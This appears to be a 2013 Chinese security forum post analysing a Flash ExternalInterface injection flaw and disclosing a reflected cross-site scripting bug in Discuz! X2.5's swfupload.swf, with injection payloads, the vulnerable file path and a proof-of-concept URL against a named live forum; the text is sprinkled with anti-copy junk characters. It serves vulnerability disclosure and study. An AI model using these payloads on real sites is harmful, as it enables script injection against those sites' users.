找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1994|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
7 M  g; I* m; ?* M% v2 {5 x/ ~% r& f/ D  R! n3 ?
flash.external.ExternalInterface.call($methodName, $parameter)% M7 c- }( P' v0 U2 {( {  o+ w3 r
在浏览器中执行的是
0 h( B5 \" Y" E6 J
" |$ f8 Q1 i: ?6 ~try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
. Q: A5 e, c4 O& L; W- K对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
( z( B& e% i7 V, \; I( F# e
6 j2 @( P! K9 w3 mflash.external.ExternalInterface.call("object."+$methodName, $parameter); j' n9 F. X3 H) T5 d, ^
$methodName = a())}catch(e){alert(/xss/)}//# E- F( x( b! Z( z7 m! E
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。6 z2 |+ S, d" s) Y8 ~5 {
% z3 {" I1 Q4 _: b3 `& S
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
$ J' n  A  O( _& |
2 V  m! K# M- P# E这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
9 R5 r$ g. \+ X" j8 F: x( y# G$ k6 |杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。* @6 @0 e: C# O) e2 |# q" V  b6 l

" Z0 s4 \2 z3 g0 H* q0 _; [) z" p0 Y+ m( A; ?! J
& K. c$ P- \. x8 R: p1 J
漏洞文件:upload\static\image\common\swfupload.swf7 n% p3 R- H2 d& R" m" J
% g- P! E2 V& v6 \6 G0 f* }: E
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
" I8 Y* O% W4 |- t/ U& G
8 V& ~/ ^1 I# t6 b& n4 @. {/ l  a
2 `' H4 ?( Q, I/ D8 ?! H3 U漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
: S% b, k. f0 g3 N. J: w  b" v7 R* {+ ^) v* H
- D0 W+ H1 Q- ?5 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表